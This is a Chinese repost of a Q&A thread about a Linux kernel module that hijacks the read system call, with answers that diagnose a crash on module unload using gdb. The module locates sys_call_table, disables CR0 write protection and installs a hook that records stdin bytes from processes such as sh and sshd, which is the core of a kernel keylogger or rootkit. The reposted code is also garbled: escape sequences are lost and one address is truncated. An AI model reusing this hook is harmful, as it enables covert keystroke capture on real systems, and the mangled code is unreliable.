lkm func劫持BUG

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了lkm func劫持BUG相关的知识,希望对你有一定的参考价值。

我写了一个小的linux内核模块,看看,现在如何实现内核函数劫持。

https://pastebin.com/99YJFnaq

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>

#include <linux/time.h>
#include <linux/preempt.h>

#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>

#define BUFFER_SIZE 512

#define MODULE_NAME "hacked_read"

#define dbg( format, arg... )  do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... )  pr_err(  MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )

MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );

static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;

static inline void rw_enable( void ) {
    asm volatile ( "cli 
"
        "pushq %rax 
"
        "movq %cr0, %rax 
"
        "andq $0xfffffffffffeffff, %rax 
"
        "movq %rax, %cr0 
"
        "popq %rax " );
}

static inline uint64_t getcr0(void) {
    register uint64_t ret = 0;
    asm volatile (
        "movq %%cr0, %0
"
        :"=r"(ret)
    );
    return ret;
}

static inline void rw_disable( register uint64_t val ) {
    asm volatile(
        "movq %0, %%cr0
"
        "sti "
        :
        :"r"(val)
    );
}

static void* find_sym( const char *sym ) {
    static unsigned long faddr = 0; // static !!!
    // ----------- nested functions are a GCC extension ---------
    int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
        if( 0 == strcmp( (char*)data, sym ) ) {
            faddr = addr;
            return 1;
        } else return 0;
    };// --------------------------------------------------------
    kallsyms_on_each_symbol( symb_fn, (void*)sym );
    return (void*)faddr;
}

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( fd, buf, count );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld
", icounter );
            info( "strlen( debug_buffer ) = %ld
", strlen( debug_buffer ) );
        }
        r = original_read( fd, buf, count );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '';
        return r;
    }
}

int hacked_read_init( void ) {
    register uint64_t cr0;
    info( "Module was loaded
" );
    sct = find_sym( "sys_call_table" );
    original_read = (void *)sct[ __NR_read ];
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = hacked_read_test;
    rw_disable( cr0 );
    return 0;
}

void hacked_read_exit( void ) {
    register uint64_t cr0;
    info( "Module was unloaded
" );
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = original_read;
    rw_disable( cr0 );
}

module_init( hacked_read_init );
module_exit( hacked_read_exit );

Makefile文件:

CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = hacked_read
obj-m := $(TARGET).o

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp*
        @rm -rf .tmp_versions

此后,我正在制作模块并插入它。当然,更好的方法是做 - 在qemu机器内。我正在使用图像hdd.qcow2 [30Gb]上安装的默认Kali 2018.1。内核4.14.13是我用DEBUG标志构建的默认内核:

# diff /boot/config-4.14.13 /boot/config-4.14.0-kali3-amd64
3c3
< # Linux/x86_64 4.14.13 Kernel Configuration
---
> # Linux/x86 4.14.12 Kernel Configuration
7620c7620
< CONFIG_GDB_SCRIPTS=y
---
> # CONFIG_GDB_SCRIPTS is not set
7652,7655c7652
< CONFIG_DEBUG_KMEMLEAK=y
< CONFIG_DEBUG_KMEMLEAK_EARLY_LOG_SIZE=400
< CONFIG_DEBUG_KMEMLEAK_TEST=m
< # CONFIG_DEBUG_KMEMLEAK_DEFAULT_OFF is not set
---
> # CONFIG_DEBUG_KMEMLEAK is not set

CONFIG_DEBUG_KMEMLEAK - 在amd64上没用,所以只有CONFIG_GDB_SCRIPTS扮演一个角色。

回到游戏:

# make
# cp hacked_read.ko /lib/modules/4.14.13/hacked_read.ko
# depmod
# modprobe hacked_read

此后,我正在键入不同的符号,主要是aleft arrow以及delete,正如你可以从syslog看到的那样:icounter = 44000,所以它是我输入的44k符号,在bug出现之前,有时更多,有时更少......为了得到这个数字更快我正在使用/usr/bin/xset r rate 20 60

或者甚至在if / else语句中插入false,就像这个if ( fd != 0 && false ) { // fd == 0 --> stdin (sh, sshd)一样 - 这将自动化该过程。

错误

在/ var / log / syslog的/

Aug 30 10:20:37 kali kernel: [ 1540.483650] hacked_read: test2 icounter = 44000
Aug 30 10:20:37 kali kernel: [ 1540.483654] hacked_read: strlen( debug_buffer ) = 202
Aug 30 10:20:42 kali kernel: [ 1546.187954] hacked_read: test2 icounter = 45000
Aug 30 10:20:42 kali kernel: [ 1546.187958] hacked_read: strlen( debug_buffer ) = 376
Aug 30 10:20:58 kali kernel: [ 1561.366421] BUG: unable to handle kernel paging request at ffffffffc071909b
Aug 30 10:20:58 kali kernel: [ 1561.366434] IP: 0xffffffffc071909b
Aug 30 10:20:58 kali kernel: [ 1561.366436] PGD b3a0e067 P4D b3a0e067 PUD b3a10067 PMD 2346c4067 PTE 0
Aug 30 10:20:58 kali kernel: [ 1561.366441] Oops: 0010 [#1] SMP PTI
Aug 30 10:20:58 kali kernel: [ 1561.366443] Modules linked in: hacked_read(O) 9p fscache fuse ppdev bochs_drm sg ttm 9pnet_virtio evdev joydev drm_kms_helper pcspkr serio_raw 9pnet drm parport_pc parport button binfmt_misc ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 crc32c_generic fscrypto ecb sr_mod cdrom sd_mod ata_generic crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel pcbc ata_piix libata scsi_mod aesni_intel aes_x86_64 crypto_simd glue_helper cryptd psmouse floppy virtio_pci virtio_ring virtio e1000 i2c_piix4 [last unloaded: hacked_read]
Aug 30 10:20:58 kali kernel: [ 1561.366488] CPU: 0 PID: 1788 Comm: tee Tainted: G           O    4.14.13 #1
Aug 30 10:20:58 kali kernel: [ 1561.366490] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), Bios 1.10.2-1 04/01/2014
Aug 30 10:20:58 kali kernel: [ 1561.366491] task: ffff9939ac178000 task.stack: ffffb2570359c000
Aug 30 10:20:58 kali kernel: [ 1561.366493] RIP: 0010:0xffffffffc071909b
Aug 30 10:20:58 kali kernel: [ 1561.366494] RSP: 0018:ffffb2570359ff38 EFLAGS: 00010292
Aug 30 10:20:58 kali kernel: [ 1561.366496] RAX: 000000000000005e RBX: 00007ffe554f8940 RCX: 0000000000000000
Aug 30 10:20:58 kali kernel: [ 1561.366497] RDX: 0000000000000000 RSI: ffff9939a0af7c10 RDI: ffff9939c0a20bb8
Aug 30 10:20:58 kali kernel: [ 1561.366498] RBP: 0000000000002000 R08: 0000000000000000 R09: 0000000000000000
Aug 30 10:20:58 kali kernel: [ 1561.366499] R10: 000000000000005e R11: 00000000000003f1 R12: ffffffffc071b360
Aug 30 10:20:58 kali kernel: [ 1561.366501] R13: 000055ae361bb4a0 R14: 0000000000000010 R15: 00007ffe554faa98
Aug 30 10:20:58 kali kernel: [ 1561.366502] FS:  00007f60491184c0(0000) GS:ffff9939ffc00000(0000) knlGS:0000000000000000
Aug 30 10:20:58 kali kernel: [ 1561.366504] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
Aug 30 10:20:58 kali kernel: [ 1561.366505] CR2: ffffffffc071909b CR3: 00000001d9018005 CR4: 00000000000606f0
Aug 30 10:20:58 kali kernel: [ 1561.366514] Call Trace:
Aug 30 10:20:58 kali kernel: [ 1561.366524]  ? system_call_fast_compare_end+0xc/0x6f
Aug 30 10:20:58 kali kernel: [ 1561.366526] Code:  Bad RIP value.
Aug 30 10:20:58 kali kernel: [ 1561.366532] RIP: 0xffffffffc071909b RSP: ffffb2570359ff38
Aug 30 10:20:58 kali kernel: [ 1561.366532] CR2: ffffffffc071909b
Aug 30 10:20:58 kali kernel: [ 1561.366535] ---[ end trace ca74de96d373ac0b ]---

有人可以告诉我哪种方式可以挖掘?

debug_buffer数组中没有溢出 - 这是完全正确的。

asm代码中没有冲突,同时执行劫持。

它是一个小巧轻便的脚本...... BUG在哪里?

UPDATE1:

看起来我找到了它开始崩溃的原因。 BUG出现在命令rmmod hacked_read之后。所以module_exit()是错的,可能asm的clisti还不够。

答案

当模块从Linux内核中删除时,模块使用的所有内存(数据和代码)都将被释放。模块的exit()函数恢复指向原始函数的指针。但是,内核可能在删除模块时执行替代函数的代码。突然,正好在中间,函数消失,因为模块代码占用的内存被释放。因此,错误。

显然,在恢复指向原始函数的指针之后,您无法删除模块,直到您确定没有内核线程(可能)执行替换函数的代码。指针恢复后,所有新内核线程都将执行原始函数,因此您需要等待任何当前线程完成替换函数的执行。如何做到这是另一个问题。您可能需要使用一些技巧,如参考计数器等。

另一答案

正如@Aleksey所说,问题不在模块之内。

tee命令以其休眠方式使用read()。虽然我删除了模块没有发生任何事情,但有我的小bash脚本:

#!/bin/bash

logfile="micro-test.log"
while sleep 0;do
        echo -n "$(date): $(uptime): "
        echo "1 2" | awk '{print $1}'
        sleep 60;
done | tee -a $logfile

我是如何找到这个BUG的:

正如我所说,我的客人的内核是用CONFIG_GDB_SCRIPTS=y编译的。现在我从主机的gdb附加guest:

# gdb
(gdb) set logging file gdbcmd2.out
(gdb) set logging on
Copying output to gdbcmd2.out.
(gdb) 
Already logging to gdbcmd2.out.
(gdb) target remote :1234
Remote debugging using :1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0xffffffff99082e42 in ?? ()
(gdb) add-auto-load-safe-path /usr/src/linux-source-4.14/scripts/gdb/vmlinux-gdb.py
(gdb) file /usr/src/linux-source-4.14/vmlinux
A program is being debugged already.
Are you sure you want to change the file? (y or n) y
Reading symbols from /usr/src/linux-source-4.14/vmlinux...done

在客人方面,我正在提取地址:

root@kali:~# cat /sys/module/hacked_read/sections/.text
0xffffffffc06e9000
root@kali:~# cat /sys/module/hacked_read/sections/.bss
0xffffffffc06eb34

在主机端,添加模块进行调试:

(gdb) add-symbol-file /usr/src/hacked_read/hacked_read.ko 0xffffffffc06e9000 -s .bss 0xffffffffc06eb34
(gdb) p hacked_read_test 
$1 = {unsigned long (unsigned int, char *, size_t)} 0xffffffffc06e9030 <hacked_read_test>
(gdb) maintenance info line-table
... BIG-BIG-OUT-PUT ...

此后,我可以在logfile中看到:gdbcmd2.out - 我的代码列表与地址。例如,0xffffffffc06e9030 - hacked_read_test函数的地址:

# grep 0xffffffffc06e9030  gdbcmd2.out  
$1 = {unsigned long (unsigned int, char *, size_t)} 0xffffffffc06e9030 <hacked_read_test>
6          77 0xffffffffc06e9030

77 - 代码行

$ head -n 77 hacked_read.c | tail -n 1
unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {

答对了!

现在,在客人方面,我正在做rmmod hacked_read。 60 +秒后出现BUG:

Sep  9 06:35:28 kali kernel: [281996.592759] hacked_read: Module was unloaded
Sep  9 06:36:11 kali kernel: [282040.218523] BUG: unable to handle kernel paging request at ffffffffc06e909b
Sep  9 06:36:11 kali kernel: [282040.218530] IP: 0xffffffffc06e909b
Sep  9 06:36:11 kali kernel: [282040.218531] PGD 22980e067 P4D 22980e067 PUD 229810067 PMD 2356e3067 PTE 0
Sep  9 06:36:11 kali kernel: [282040.218534] Oops: 0010 [#9] SMP PTI
Sep  9 06:36:11 kali kernel: [282040.218536] Modules linked in: sctp_diag sctp libcrc32c tcp_diag udp_diag dccp_diag dccp inet_diag unix_diag 9p fscache fuse bochs_drm ttm ppdev drm_kms_helper joydev evdev serio_raw pcspkr sg 9pnet_virtio 9pnet parport_pc parport button drm binfmt_misc ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 crc32c_generic fscrypto ecb sr_mod cdrom sd_mod ata_generic crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel pcbc aesni_intel aes_x86_64 crypto_simd glue_helper cryptd ata_piix psmouse floppy virtio_pci virtio_ring virtio e1000 i2c_piix4 libata scsi_mod [last unloaded: hacked_read]
Sep  9 06:36:11 kali kernel: [282040.218567] CPU: 0 PID: 32196 Comm: tee Tainted: G      D    O    4.14.13 #1

Comm: teeBUG: unable to handle kernel paging request at ffffffffc06e909b

主办:

# grep ffffffffc06e909b   gdbcmd2.out  
18         88 0xffffffffc06e909b

88 - 代码行:

$ head -n 88 hacked_read.c | tail -n 1
                strncat( debug_buffer, buf, 1 );

很容易看出,内核无法在tee之后给original_read()下一行的地址:

77:unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
78.        unsigned long r = 1;
79.        if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
80.                return original_read( fd, buf, count );
81.        } else {
82.                icounter++;
83.                if ( icounter % 1000 == 0 ) {
84.                        info( "test2 icounter = %ld
", icounter );
85.                        info( "strlen( debug_buffer ) = %ld
", strlen( debug_buffer ) );
86.                }
87.                r = original_read( fd, buf, count );
88.                strncat( debug_buffer, buf, 1 );
                if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
                        debug_buffer[0] = '';
                return r;
        }
}

以上是关于lkm func劫持BUG的主要内容,如果未能解决你的问题,请参考以下文章

vscode代码片段建议bug

应对电信劫持强行插入广告的处理

代码片段 - Golang 实现集合操作

PHP 精度计算引发的灾难性Bug

如何交叉编译ARM版本的LKM?

centos系统无法编译lkm